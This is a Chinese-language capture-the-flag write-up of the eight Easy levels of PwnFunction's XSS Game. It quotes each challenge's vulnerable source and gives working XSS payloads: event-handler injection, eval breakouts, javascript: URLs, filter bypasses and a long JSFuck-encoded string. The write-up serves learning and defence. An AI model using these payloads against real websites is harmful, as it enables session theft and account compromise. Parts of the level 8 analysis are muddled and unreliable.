XSS项目实战

目录

一、项目来源

二、实战操作

EASY

1

2

3

4

5

6

7

8

一、项目来源

XSS Game - Learning XSS Made Simple! | Created by PwnFunction

二、实战操作

EASY

1

1.Easy -1

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• <!-- Challenge -->
  <h2 id="spaghet"></h2>
  <script>
      spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
  </script>

 3.分析

①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

通过查询官方文档可知：innerHTML函数存在一定的安全风险；但是官方只限制了这一个函数，为了保证安全，我们可以切换成innerText函数；innerText函数会将'<'，'>'进行实体编码转义；不会进入标签开始状态，会直接将其中内容当作字符串展现在页面上

4.代码实现

?somebody=<img src=1 onerror="alert(1337)">

2

1.Easy-2

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• <!-- Challenge -->
  <h2 id="maname"></h2>
  <script>
      let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
      let ma = ""
      eval(`ma = "Ma name ${jeff}"`)
      setTimeout(_ => {
          maname.innerText = ma
      }, 1000)
  </script>

3.分析

 ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

这道题主要是使用eval函数：

首先执行第一个闭合的双引号里面的内容，其次执行后面的语句；由于双引号不成对会报错，因此后面也进行闭合，因此语句成功执行

4.代码实现

方法一：

?jeff=abc";alert(1337);"

方法二：

?jeff=abc"-alert(1337);-"

3

1.Easy-3

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• <!-- Challenge -->
  <div id="uganda"></div>
  <script>
      let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
      wey = wey.replace(/[<>]/g, '')
      uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
  </script>

3.分析

 ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

这道题过滤了'<''>'；不能闭合标签；只能选择其他的标签函数

onfocus：input表单自带的属性，对焦

autofocus：自动对焦

4.代码实现

?wey=abc" onfocus=alert(1337) autofocus="

4

1.Easy-4

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• <!-- Challenge -->
  <form id="ricardo" method="GET">
      <input name="milos" type="text" class="form-control" placeholder="True" value="True">
  </form>
  <script>
      ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
      setTimeout(_ => {
          ricardo.submit()
      }, 2000)
  </script>

3.分析

 ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

 这道题主要使用form表单中的action函数；并且会在2s后自动提交；

4.代码实现

?ricardo=javascript:alert(1337)

5

1.Easy-5

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• <!-- Challenge -->
  <h2 id="will"></h2>
  <script>
      smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
      smith = smith.replace(/[\(\`\)\\]/g, '')
      will.innerHTML = smith
  </script>
  

3.分析

  ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

过滤了'(' ')' '`' '\'；因为过滤了(),导致alert函数传参不能有效触发；可以考虑使用location函数；

4.代码实现

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

6

1.Easy-6

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• /* Challenge */
  balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
  balls = balls.replace(/[A-Za-z0-9]/g, '')
  eval(balls)

3.分析

 ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

使用jsfuck网站编码工具：JSFuck - Write any JavaScript with 6 Characters: []()!+ 

还需要对其进行urlencod编码；

4.代码实现

?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)

7

1.Easy-7

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• /* Challenge */
  mafia = (new URL(location).searchParams.get('mafia') || '1+1')
  mafia = mafia.slice(0, 50)
  mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
  mafia = mafia.replace(/alert/g, '_')
  eval(mafia)

 3.分析

 ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

过滤了许多符号；过滤了alert函数，可以选择切换为confirm函数，但是意义不大；

?mafia=confirm(1337)

Function函数：Function()()可以直接执行Function函数体里面定义的函数；

4.代码实现

方法一：匿名函数

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

方法二：parseInt函数

以进制数来返回结果，进制数有2-36的选择；

toString：效果与parseInt相反；将进制数转换为原字符串；

?mafia=eval(8680439..toString(30))(1337)

 方法三：

location.hash        代表#

slice()        截取函数

?mafia=eval(location.hash.slice(1))#alert(1337)

8

1.Easy-8

2.题目要求及源码

• Difficulty is Easy.
• Pop an alert(1337) on sandbox.pwnfunction.com.
• No user interaction.
• Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.
• Tested on Chrome.

• <!-- Challenge -->
  <h2 id="boomer">Ok, Boomer.</h2>
  <script>
      boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
      setTimeout(ok, 2000)
  </script>

3. 分析

 ①弹出'1337'；②没有用户交互；③不能使用https://sandbox.pwnfunction.com/?html=&js=&css=.；④在chrome浏览器下实现

存在innerHtml，可以考虑利用，但是存在DOMPurify框架，这是一个顶级的安全框架，很难绕过；

源码中未定义'ok'；

在控制台执行以下命令：

现在document.cookie已经被img标签给覆盖了

4.代码实现

?boomer=<a id-ok href="javascript:alert(1337)">

ok传入了，但是后面的函数值被删掉了，这是因为javascript对于DOMPurify框架来说是黑名单，我们需要找到这个框架对应的白名单；

成功代码：

?boomer=<a id=ok href="cid:alert(1337)">